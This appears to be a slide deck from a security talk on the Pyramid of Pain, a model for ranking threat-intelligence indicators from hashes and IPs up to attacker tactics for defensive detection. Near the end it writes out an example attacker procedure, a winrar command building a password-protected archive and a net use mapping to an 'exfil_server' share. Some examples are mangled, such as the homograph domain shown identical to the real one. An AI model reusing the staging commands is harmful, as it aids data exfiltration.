



# The Pyramid of Pain

Intel-Driven Detection & Response to  
Increase Your Adversary's Cost of Operations

# The Wacky Wall Walker Approach

The most common approach to “threat intel” I see is...

*THROW ALL OUR FACTS OUT THERE AND SEE WHAT STICKS.*

## Pros


Quick to implement

## Cons

Too many alerts

No confidence in results

Gives your adversaries a laugh



**We can do better!**



# Enterprise Security Monitoring

Enterprise Security Monitor

Threat Intelligence

Technical Data

Business Data

HTTP Server  
& Proxy Logs

Firewalls &  
Network  
Infrastructure

IDS/NSM/  
Endpoints

OS &  
Application  
Logs


Org Charts

Employee  
DB

Travel Plans



# The Intel-Driven Operations Cycle



# Let's be clear...

Most people confuse



with intelligence.



# Let's Be Clear...




Captain, I do not believe that to be the correct use of the term.

# Let's Be Clear...



# The Reality is More Complicated








**A piece of information that  
points to a certain  
conclusion**

# What it is not



*John Hancock*

# The Pyramid of Pain



The Pyramid measures **potential usefulness** of your intel

It also measures **difficulty of obtaining** that intel

The higher you are, the **more resources** your adversaries have to expend.


When you quickly detect, respond to and disrupt your adversaries' activities, defense becomes offense.

# Hashes

Hashes are, by far, the **highest confidence** indicators.

Unfortunately, they are **extremely susceptible** to change (even accidentally).

Hashes are probably the **least useful** type of indicators.



## **MD5**

5f6ce162c4b5516670d5a8f1f8f4e57b

## **SHA1**

C8d4c389beaff88811f8fab1965519fce74ffd8a

## **SHA256**


ad690662a1faf97dc41387b73f8fd3415d64f9b0ce66db3e9134385d94e0c01b

# IP Addresses

Only **n00bs** use their own addresses.

VPNs, Tor, open proxies all make it **trivial to change** your IP.

If it's hardcoded into a config, **maybe** adversaries have to do a little work to update it.



## Dotted Decimal

192.168.1.1

## Dotted Hex

0xC0.0xA8.0x01.0x01

## Dotted Octal

0300.0250.0001.0001

## Decimal

3232235777

## Hex

0xC0A80101

## Octal

030052000401




# Domain Names

Almost as **easy to change** as IP addresses.

Domains **require pre-registration** and (usually) a fee, but there are **ways around this**.

Dynamic DNS providers even help **automate** the adversary's update process with helpful APIs.



## Unicode

邪悪なドメイン.com

## Punycode

Xn—q9j5f9d1dzdq306auhtd.com

## Legitimate Domain

rvasec.com

## Malicious Homograph

rvasec.com




# Network & Host Artifacts

It's very **difficult** to perform useful activities **without** leaving **some traces**.

On hosts, look for **files & directories**, **registry objects**, mutexes, memory strings [...]

On the network, check for **distinctive transaction values**, especially **protocol errors** or just **misinterpretations**.



## Distinctive URI patterns

```
/^[A-F0-9]{16}\\.\\d{3,5}\\. {php | aspx}$/
```

## User-Agent Strings

xi/1.0

## Typos

Mozilla/5.0 (compatible; MSIE7.0; Windows NT 6.1;)




# Tools

If you see the same tool **over and over**, you eventually get **really good at detecting** it.

No matter what **incidental changes** they make, your detection mechanisms can **deal with them**.

To continue, they need a **new tool**. With testing & training time, that's a real **victory!**



*Once upon a time*, there was an incident response team who encountered **the same tool** over and over again for **more than a year**. The tool had a **bolt-on network front end**, so the attackers could easily change the network protocol, but the back end was **always the same**. Eventually, the IR team realized that the **distinctive keep-alive function** was part of the back end, and could be **reliably detected**. And then everyone (except the attacker) **slept well** at night and **lived happily ever after!**






# Tactics, Techniques & Procedures

TTPs are the expression of the **attacker's training**.

Retraining is probably the **hardest thing** you can do once, let alone **continually**.

This becomes **so expensive** that they have to **question their commitment** to attacking you. **Win!**



## **Data Staging Tactic**

Create encrypted RAR and transfer them to the exfiltration point.

## **Data Staging Technique**


AES encryption, files of exactly 650,000 bytes, file copies via SMB

## **Data Staging Procedure**

```
winrar a -hpqwerty -r vacation_photos.rar staging_dir  
net use \\exfil_server\photos
```



# In Summary



# Questions?

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